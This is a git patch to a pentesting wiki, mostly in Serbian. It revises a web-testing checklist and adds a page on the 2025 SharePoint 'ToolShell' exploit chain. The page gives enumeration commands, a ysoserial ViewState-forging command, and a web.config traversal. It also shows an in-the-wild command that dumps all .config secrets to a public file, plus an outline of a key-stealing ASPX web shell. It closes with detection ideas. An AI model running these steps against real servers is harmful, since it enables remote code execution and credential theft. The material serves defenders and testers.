From bbd22656a7d54291f98265dccc92fa5080d926dd Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 22 Jul 2025 14:15:18 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/README.md', --- src/SUMMARY.md | 1 + .../pentesting-web/README.md | 71 +++++----- .../pentesting-web/microsoft-sharepoint.md | 126 ++++++++++++++++++ 3 files changed, 163 insertions(+), 35 deletions(-) create mode 100644 src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 09ba11160..088f962ff 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -423,6 +423,7 @@ - [Joomla](network-services-pentesting/pentesting-web/joomla.md) - [JSP](network-services-pentesting/pentesting-web/jsp.md) - [Laravel](network-services-pentesting/pentesting-web/laravel.md) + - [Microsoft Sharepoint](network-services-pentesting/pentesting-web/microsoft-sharepoint.md) - [Moodle](network-services-pentesting/pentesting-web/moodle.md) - [NextJS](network-services-pentesting/pentesting-web/nextjs.md) - [Nginx](network-services-pentesting/pentesting-web/nginx.md) diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 9e0c87b27..ec3ab968c 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -29,11 +29,11 @@ web-api-pentesting.md - [ ] Počnite sa **identifikovanjem** **tehnologija** koje koristi web server. Potražite **trikove** koje treba imati na umu tokom ostatka testa ako uspešno identifikujete tehnologiju. - [ ] Da li postoji neka **poznata ranjivost** verzije tehnologije? -- [ ] Koristite li neku **poznatu tehnologiju**? Ima li nekih **korisnih trikova** za ekstrakciju više informacija? +- [ ] Koristite neku **poznatu tehnologiju**? Da li postoji neki **koristan trik** za ekstrakciju više informacija? - [ ] Da li postoji neki **specijalizovani skener** koji treba pokrenuti (kao što je wpscan)? -- [ ] Pokrenite **skeneri opšte namene**. Nikada ne znate da li će pronaći nešto ili ako će pronaći neku zanimljivu informaciju. +- [ ] Pokrenite **skenerе opšte namene**. Nikada ne znate da li će pronaći nešto ili ako će pronaći neku zanimljivu informaciju. - [ ] Počnite sa **početnim proverama**: **robots**, **sitemap**, **404** greška i **SSL/TLS sken** (ako je HTTPS). -- [ ] Počnite sa **spidering** web stranice: Vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**. +- [ ] Počnite sa **spideringom** web stranice: Vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**. - [ ] _Imajte na umu da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga spiderovati._ - [ ] **Brute-Forcing direktorijuma**: Pokušajte da brute-forcujete sve otkrivene foldere tražeći nove **fajlove** i **direktorijume**. - [ ] _Imajte na umu da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga Brute-Forcovati._ @@ -54,9 +54,9 @@ whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Pretraži **za** [**ranjivosti web aplikacije** **verzije**](../../generic-hacking/search-exploits.md) +Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) -### **Proveri da li postoji neki WAF** +### **Proverite da li postoji neki WAF** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) @@ -78,6 +78,7 @@ Neki **trikovi** za **pronalazak ranjivosti** u različitim poznatim **tehnologi - [**GraphQL**](graphql.md) - [**H2 - Java SQL baza podataka**](h2-java-sql-database.md) - [**IIS trikovi**](iis-internet-information-services.md) +- [**Microsoft SharePoint**](microsoft-sharepoint.md) - [**JBOSS**](jboss.md) - [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>) - [**Jira**](jira.md) @@ -99,14 +100,14 @@ Neki **trikovi** za **pronalazak ranjivosti** u različitim poznatim **tehnologi - [**Electron Desktop (XSS do RCE)**](electron-desktop-apps/index.html) _Uzmite u obzir da **isti domen** može koristiti **različite tehnologije** na različitim **portovima**, **folderima** i **subdomenama**._\ -Ako web aplikacija koristi neku poznatu **tehniku/platformu navedenu ranije** ili **bilo koju drugu**, ne zaboravite da **pretražite Internet** za nove trikove (i javite mi!). +Ako web aplikacija koristi neku poznatu **tehnologiju/platformu navedenu ranije** ili **bilo koju drugu**, ne zaboravite da **pretražite Internet** za nove trikove (i javite mi!). ### Pregled izvornog koda -Ako je **izvorni kod** aplikacije dostupan na **github**, pored izvođenja **sopstvenog White box testa** aplikacije, postoji **neka informacija** koja bi mogla biti **korisna** za trenutni **Black-Box testiranje**: +Ako je **izvorni kod** aplikacije dostupan na **github**, pored izvođenja **vašeg vlastitog White box testa** aplikacije, postoji **neka informacija** koja bi mogla biti **korisna** za trenutni **Black-Box testiranje**: -- Da li postoji **Change-log ili Readme ili Verzija** fajl ili bilo šta sa **informacijama o verziji dostupnim** putem weba? -- Kako i gde se čuvaju **akreditivi**? Da li postoji neka (dostupna?) **datoteka** sa akreditivima (korisničkim imenima ili lozinkama)? +- Da li postoji **Change-log ili Readme ili Version** fajl ili bilo šta sa **informacijama o verziji dostupnim** putem weba? +- Kako i gde se čuvaju **akreditivi**? Da li postoji neka (dostupna?) **datoteka** sa akreditivima (korisnička imena ili lozinke)? - Da li su **lozinke** u **običnom tekstu**, **kriptovane** ili koji **hash algoritam** se koristi? - Da li se koristi neki **glavni ključ** za kriptovanje nečega? Koji **algoritam** se koristi? - Možete li **pristupiti bilo kojoj od ovih datoteka** iskorišćavajući neku ranjivost? @@ -118,7 +119,7 @@ code-review-tools.md ### Automatski skeneri -#### Automatski skeneri opšte namene +#### Opšti automatski skeneri ```bash nikto -h whatweb -a 4 @@ -135,7 +136,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi Ako se koristi CMS, ne zaboravite da **pokrenete skener**, možda će se pronaći nešto zanimljivo: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** vebsajtovi za bezbednosne probleme. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** vebsajtovi za sigurnosne probleme. (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ili** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) @@ -147,7 +148,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs ``` > U ovom trenutku već biste trebali imati neke informacije o web serveru koji koristi klijent (ako su dostupni podaci) i neke trikove koje treba imati na umu tokom testa. Ako imate sreće, možda ste čak pronašli i CMS i pokrenuli neki skener. -## Postupno otkrivanje web aplikacija +## Postupak otkrivanja web aplikacija > Od ovog trenutka počinjemo da komuniciramo sa web aplikacijom. @@ -168,15 +169,15 @@ Web serveri mogu **nepredvidivo reagovati** kada im se šalju čudni podaci. To - Pristupite **lažnim stranicama** kao što su /whatever_fake.php (.aspx,.html,.etc) - **Dodajte "\[]", "]]", i "\[\["** u **vrednosti kolačića** i **vrednosti parametara** da biste izazvali greške -- Generišite grešku tako što ćete dati unos kao **`/~randomthing/%s`** na **kraj** **URL-a** +- Generišite grešku tako što ćete uneti **`/~randomthing/%s`** na **kraj** **URL-a** - Pokušajte sa **različitim HTTP metodama** kao što su PATCH, DEBUG ili pogrešnim kao FAKE #### **Proverite da li možete da otpremite fajlove (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -Ako otkrijete da je **WebDav** **omogućen** ali nemate dovoljno dozvola za **otpremanje fajlova** u korenski folder, pokušajte da: +Ako otkrijete da je **WebDav** **omogućen** ali nemate dovoljno dozvola za **otpremanje fajlova** u root folder, pokušajte da: - **Brute Force** kredencijale -- **Otpremite fajlove** putem WebDav-a u **ostale** **pronađene foldere** unutar web stranice. Možda imate dozvole za otpremanje fajlova u drugim folderima. +- **Otpremite fajlove** putem WebDav u **ostale** **pronađene foldere** unutar web stranice. Možda imate dozvole da otpremate fajlove u drugim folderima. ### **SSL/TLS ranjivosti** @@ -202,27 +203,27 @@ Informacije o SSL/TLS ranjivostima: Pokrenite neku vrstu **spider** unutar veba. Cilj spider-a je da **pronađe što više putanja** iz testirane aplikacije. Stoga, web crawling i spoljašnji izvori treba da se koriste za pronalaženje što više validnih putanja. - [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder u JS datotekama i spoljašnjim izvorima (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, sa LinkFinder-om za JS datoteke i Archive.org kao spoljnim izvorom. -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, takođe ukazuje na "sočne datoteke". +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, sa LinkFider-om za JS datoteke i Archive.org kao spoljnim izvorom. +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, takođe označava "sočne datoteke". - [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktivni CLI HTML spider. Takođe pretražuje u Archive.org. - [**meg**](https://github.com/tomnomnom/meg) (go): Ovaj alat nije spider, ali može biti koristan. Možete jednostavno naznačiti datoteku sa hostovima i datoteku sa putanjama, a meg će preuzeti svaku putanju na svakom hostu i sačuvati odgovor. - [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider sa mogućnostima renderovanja JS-a. Međutim, izgleda da nije održavan, prekompajlirana verzija je stara i trenutni kod se ne kompajlira. - [**gau**](https://github.com/lc/gau) (go): HTML spider koji koristi spoljne provajdere (wayback, otx, commoncrawl). - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ovaj skript će pronaći URL-ove sa parametrima i navesti ih. - [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider sa mogućnostima renderovanja JS-a. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposobnim za pretragu novih putanja u JS datotekama. Takođe bi bilo korisno pogledati [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je omotač LinkFinder-a. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposobnim za pretragu novih putanja u JS datotekama. Takođe bi moglo biti korisno pogledati [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je omotač LinkFinder-a. - [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Za ekstrakciju krajnjih tačaka u HTML izvoru i ugrađenim javascript datotekama. Korisno za lovce na greške, red timere, infosec nindže. - [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 skript koji koristi Tornado i JSBeautifier za parsiranje relativnih URL-ova iz JavaScript datoteka. Korisno za lako otkrivanje AJAX zahteva. Izgleda da nije održavan. - [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dajući datoteku (HTML) iz nje će izvući URL-ove koristeći pametnu regularnu ekspresiju za pronalaženje i ekstrakciju relativnih URL-ova iz ružnih (minify) datoteka. -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, nekoliko alata): Prikupiti zanimljive informacije iz JS datoteka koristeći nekoliko alata. +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, nekoliko alata): Prikupi zanimljive informacije iz JS datoteka koristeći nekoliko alata. - [**subjs**](https://github.com/lc/subjs) (go): Pronađi JS datoteke. - [**page-fetch**](https://github.com/detectify/page-fetch) (go): Učitaj stranicu u headless pretraživaču i ispiši sve URL-ove učitane za učitavanje stranice. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Alat za otkrivanje sadržaja koji kombinuje nekoliko opcija prethodnih alata. - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Burp ekstenzija za pronalaženje putanja i parametara u JS datotekama. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Alat koji, dajući .js.map URL, dobija beatified JS kod. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Alat koji, dajući .js.map URL, dobija beatifikovani JS kod. - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Ovaj alat se koristi za otkrivanje krajnjih tačaka za dati cilj. - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Otkrijte linkove iz wayback mašine (takođe preuzimajući odgovore u wayback-u i tražeći više linkova). -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawling (čak i popunjavanjem obrazaca) i takođe pronalaženje osetljivih informacija koristeći specifične regex-e. +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawlujte (čak i popunjavanjem obrazaca) i takođe pronađite osetljive informacije koristeći specifične regex-e. - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite je napredni GUI web sigurnosni crawler/spider dizajniran za profesionalce u sajber bezbednosti. - [**jsluice**](https://github.com/BishopFox/jsluice) (go): To je Go paket i [alat komandne linije](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) za ekstrakciju URL-ova, putanja, tajni i drugih zanimljivih podataka iz JavaScript izvornog koda. - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge je jednostavna **Burp Suite ekstenzija** za **ekstrakciju parametara i krajnjih tačaka** iz zahteva kako bi se kreirala prilagođena rečnik za fuzzing i enumeraciju. @@ -231,7 +232,7 @@ Pokrenite neku vrstu **spider** unutar veba. Cilj spider-a je da **pronađe što ### Brute Force direktorijumi i datoteke -Započnite **brute-forcing** iz root foldera i budite sigurni da brute-forcujete **sve** **direktorijume pronađene** koristeći **ovu metodu** i sve direktorijume **otkrivene** putem **Spidering-a** (možete ovo brute-forcing **rekurzivno** i dodati na početak korišćenog rečnika imena pronađenih direktorijuma).\ +Započnite **brute-forcing** iz root foldera i budite sigurni da brute-forcujete **sve** **direktorijume pronađene** koristeći **ovu metodu** i sve direktorijume **otkrivene** putem **Spidering-a** (možete ovo raditi **rekurzivno** i dodavati na početak korišćenog rečnika imena pronađenih direktorijuma).\ Alati: - **Dirb** / **Dirbuster** - Uključeno u Kali, **staro** (i **sporo**) ali funkcionalno. Dozvoljava automatski potpisane sertifikate i rekurzivnu pretragu. Previše sporo u poređenju sa drugim opcijama. @@ -241,7 +242,7 @@ Alati: - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Brz: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` - [**uro**](https://github.com/s0md3v/uro) (python): Ovo nije spider, već alat koji, dajući listu pronađenih URL-ova, briše "duplikate" URL-ova. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Ekstenzija za kreiranje liste direktorijuma iz burp istorije različitih stranica. +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp ekstenzija za kreiranje liste direktorijuma iz burp istorije različitih stranica. - [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Uklanja URL-ove sa duplim funkcionalnostima (na osnovu js uvoza). - [**Chamaleon**](https://github.com/iustin24/chameleon): Koristi wapalyzer za otkrivanje korišćenih tehnologija i odabir rečnika za korišćenje. @@ -264,41 +265,41 @@ Alati: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcing-a ili spidering-a, treba ga Brute-Forcovati._ +_Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga Brute-Forcovati._ ### Šta proveriti na svakoj pronađenoj datoteci - [**Proveravač pokvarenih linkova**](https://github.com/stevenvachon/broken-link-checker): Pronađite pokvarene linkove unutar HTML-a koji mogu biti podložni preuzimanju. - **Backup datoteke**: Kada pronađete sve datoteke, potražite backup svih izvršnih datoteka ("_.php_", "_.aspx_"...). Uobičajene varijacije za imenovanje backup-a su: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Takođe možete koristiti alat [**bfac**](https://github.com/mazen160/bfac) **ili** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Otkrijte nove parametre**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **za otkrivanje skrivenih parametara. Ako možete, mogli biste pokušati da pretražujete** skrivene parametre na svakoj izvršnoj web datoteci. +- **Otkrijte nove parametre**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **da otkrijete skrivene parametre. Ako možete, mogli biste pokušati da pretražujete** skrivene parametre na svakoj izvršnoj web datoteci. - _Arjun svi podrazumevani rečnici:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - **Komentari:** Proverite komentare svih datoteka, možete pronaći **akreditive** ili **skrivenu funkcionalnost**. -- Ako se igrate **CTF**, "uobičajena" trik je da se **sakrije** **informacija** unutar komentara na **desnoj** strani **stranice** (koristeći **stotine** **razmaka** tako da ne vidite podatke ako otvorite izvorni kod u pretraživaču). Druga mogućnost je da se koriste **several new lines** i **sakriju informacije** u komentaru na **dnu** web stranice. +- Ako se igrate **CTF**, "uobičajena" trik je da **sakrijete** **informacije** unutar komentara na **desnoj** strani **stranice** (koristeći **stotine** **razmaka** tako da ne vidite podatke ako otvorite izvorni kod u pretraživaču). Druga mogućnost je da koristite **nekoliko novih redova** i **sakrijete informacije** u komentaru na **dnu** web stranice. - **API ključevi**: Ako **pronađete bilo koji API ključ** postoji vodič koji ukazuje kako koristiti API ključeve različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) - Google API ključevi: Ako pronađete bilo koji API ključ koji izgleda kao **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje API-jeve ključ može pristupiti. -- **S3 Buckets**: Tokom spidering-a proverite da li je neki **subdomen** ili neki **link** povezan sa nekim **S3 bucket-om**. U tom slučaju, [**proverite** **dozvole** bucket-a](buckets/index.html). +- **S3 kante**: Tokom spideringa proverite da li je bilo koji **subdomen** ili bilo koji **link** povezan sa nekom **S3 kantom**. U tom slučaju, [**proverite** **dozvole** kante](buckets/index.html). ### Posebna otkrića -**Tokom** izvođenja **spidering-a** i **brute-forcing-a** mogli biste pronaći **zanimljive** **stvari** koje treba da **primetite**. +**Tokom** izvođenja **spideringa** i **brute-forcinga** mogli biste pronaći **zanimljive** **stvari** koje treba da **primetite**. **Zanimljive datoteke** - Potražite **linkove** ka drugim datotekama unutar **CSS** datoteka. -- [Ako pronađete _**.git**_ datoteku, neke informacije mogu biti ekstraktovane](git.md) -- Ako pronađete _**.env**_ informacije kao što su api ključevi, lozinke za baze podataka i druge informacije mogu se pronaći. +- [Ako pronađete _**.git**_ datoteku, neka informacija može biti ekstraktovana](git.md) +- Ako pronađete _**.env**_ informacije kao što su API ključevi, lozinke za baze podataka i druge informacije mogu biti pronađene. - Ako pronađete **API krajnje tačke** [trebalo bi ih takođe testirati](web-api-pentesting.md). Ove nisu datoteke, ali će verovatno "izgledati kao" njih. -- **JS datoteke**: U sekciji spidering pomenuti su nekoliko alata koji mogu ekstraktovati putanju iz JS datoteka. Takođe, bilo bi zanimljivo **pratiti svaku pronađenu JS datoteku**, jer u nekim slučajevima, promena može ukazivati na to da je potencijalna ranjivost uvedena u kod. Možete koristiti, na primer, [**JSMon**](https://github.com/robre/jsmon)**.** -- Takođe biste trebali proveriti otkrivene JS datoteke sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da biste saznali da li je ranjiva. +- **JS datoteke**: U sekciji spideringa pomenuti su nekoliko alata koji mogu ekstraktovati putanju iz JS datoteka. Takođe, bilo bi zanimljivo **pratiti svaku pronađenu JS datoteku**, jer u nekim slučajevima, promena može ukazivati na to da je potencijalna ranjivost uvedena u kod. Možete koristiti, na primer, [**JSMon**](https://github.com/robre/jsmon)**.** +- Takođe biste trebali proveriti otkrivene JS datoteke sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da biste saznali da li su ranjive. - **Javascript Deobfuscator i Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript sa karakterima:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` - U nekoliko slučajeva, moraćete da **razumete regularne izraze** koji se koriste. Ovo će biti korisno: [https://regex101.com/](https://regex101.com) ili [https://pythonium.net/regex](https://pythonium.net/regex) -- Takođe biste mogli **pratiti datoteke gde su obrasci otkriveni**, jer promena u parametru ili pojava novog obrasca može ukazivati na potencijalnu novu ranjivu funkcionalnost. +- Takođe možete **pratiti datoteke u kojima su otkriveni obrasci**, jer promena u parametru ili pojava novog obrasca može ukazivati na potencijalnu novu ranjivu funkcionalnost. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -308,7 +309,7 @@ _Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcing-a i **502 Proxy Error** -Ako neka stranica **odgovori** sa tim **kodom**, verovatno je to **loše konfigurisani proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i drugim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i pronašli ste** SSRF. +Ako neka stranica **odgovara** sa tim **kodom**, verovatno je u pitanju **loše konfigurisani proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i drugim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i pronašli ste** SSRF. **NTLM Authentication - Info disclosure** @@ -336,7 +337,7 @@ Pronađite više informacija o web ranjivostima na: ### Pratite stranice za promene -Možete koristiti alate kao što su [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica za modifikacije koje bi mogle umetnuti ranjivosti. +Možete koristiti alate kao što su [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica za modifikacije koje bi mogle uvesti ranjivosti. ### HackTricks Automatske Komande ``` diff --git a/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md b/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md new file mode 100644 index 000000000..d93f43f1d --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md @@ -0,0 +1,126 @@ +# Microsoft SharePoint – Pentesting & Exploitation + +{{#include ../../banners/hacktricks-training.md}} + +> Microsoft SharePoint (on-premises) je izgrađen na ASP.NET/IIS. Većina klasične web napadačke površine (ViewState, Web.Config, web shells, itd.) je stoga prisutna, ali SharePoint takođe dolazi sa stotinama vlasničkih ASPX stranica i web servisa koji dramatično povećavaju izloženu napadačku površinu. Ova stranica prikuplja praktične trikove za enumeraciju, eksploataciju i persistenciju unutar SharePoint okruženja sa naglaskom na 2025. exploit lanac koji je otkrio Unit42 (CVE-2025-49704/49706/53770/53771). + +## 1. Quick enumeration +``` +# favicon hash and keywords +curl -s https:///_layouts/15/images/SharePointHome.png +curl -s https:///_vti_bin/client.svc | file - # returns WCF/XSI + +# version leakage (often in JS) +curl -s https:///_layouts/15/init.js | grep -i "spPageContextInfo" + +# interesting standard paths +/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain +/_vti_bin/Lists.asmx # legacy SOAP service +/_catalogs/masterpage/Forms/AllItems.aspx + +# enumerate sites & site-collections (requires at least Anonymous) +python3 Office365-ADFSBrute/SharePointURLBrute.py -u https:// +``` +## 2. 2025 exploit chain (a.k.a. “ToolShell”) + +### 2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx + +`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=` omogućava umetanje proizvoljnog *Server-Side Include* koda na stranicu koja se kasnije kompajlira od strane ASP.NET. Napadač može umetnuti C# koji izvršava `Process.Start()` i ubaciti zlonamerni ViewState. + +### 2.2 CVE-2025-49706 – Improper Authentication Bypass + +Ista stranica veruje **X-Forms_BaseUrl** zaglavlju da odredi kontekst sajta. Usmeravanjem na `/_layouts/15/`, MFA/SSO primenjen na glavnom sajtu može biti zaobiđen **bez autentifikacije**. + +### 2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE + +Kada napadač kontroliše uređaj u `ToolPane.aspx`, može poslati **nepotpisanu** (ili samo MAC) `__VIEWSTATE` vrednost koja pokreće .NET deserializaciju unutar *w3wp.exe* što dovodi do izvršenja koda. + +Ako je potpisivanje omogućeno, ukradite **ValidationKey/DecryptionKey** iz bilo kog `web.config` (vidi 2.4) i falsifikujte payload sa *ysoserial.net* ili *ysodom*: +``` +ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" | +ViewStateGenerator.exe --validation-key --decryption-key -o payload.txt +``` +Za detaljno objašnjenje o zloupotrebi ASP.NET ViewState pročitajte: +{{#ref}} +../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md +{{#endref}} + +### 2.4 CVE-2025-53771 – Putanja Traversal / web.config Otkriće + +Slanjem kreiranog `Source` parametra na `ToolPane.aspx` (npr. `../../../../web.config`) vraća se ciljani fajl, omogućavajući curenje: + +* `` ➜ falsifikovanje ViewState / ASPXAUTH kolačića +* stringovi za konekciju i tajne. + +## 3. Post-exploitation recepti zabeleženi u divljini + +### 3.1 Ekstraktovati svaki *.config* fajl (varijacija-1) +``` +cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js" +``` +Rezultantni `debug_dev.js` može se preuzeti anonimno i sadrži **sve** osetljive konfiguracije. + +### 3.2 Postavljanje ASPX web shell-a kodiranog u Base64 (varijacija-2) +``` +powershell.exe -EncodedCommand +``` +Primer dekodirane payload (skraćeno): +```csharp +<%@ Page Language="C#" %> +<%@ Import Namespace="System.Security.Cryptography" %> + +``` +Napisano za: +``` +C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx +``` +Shell izlaže krajnje tačke za **čitanje / rotaciju mašinskih ključeva** što omogućava falsifikovanje ViewState i ASPXAUTH kolačića širom farmi. + +### 3.3 Obfuskovana varijanta (varijacija-3) + +Isti shell, ali: +* postavljen pod `...\15\TEMPLATE\LAYOUTS\` +* imena promenljivih svedena na jednoslovne +* `Thread.Sleep()` dodat za izbegavanje sandboxes i zaobilaženje AV-a zasnovano na vremenu. + +## 4. Ideje za detekciju + +| Telemetrija | Zašto je sumnjiva | +|--------------|-------------------| +| `w3wp.exe → cmd.exe` | Radni proces retko treba da pokreće shell | +| `cmd.exe → powershell.exe -EncodedCommand` | Klasičan lolbin obrazac | +| Događaji fajlova koji kreiraju `debug_dev.js` ili `spinstall0.aspx` | IOCs direktno iz ToolShell | +| `ProcessCmdLine CONTAINS ToolPane.aspx` (ETW/Module logovi) 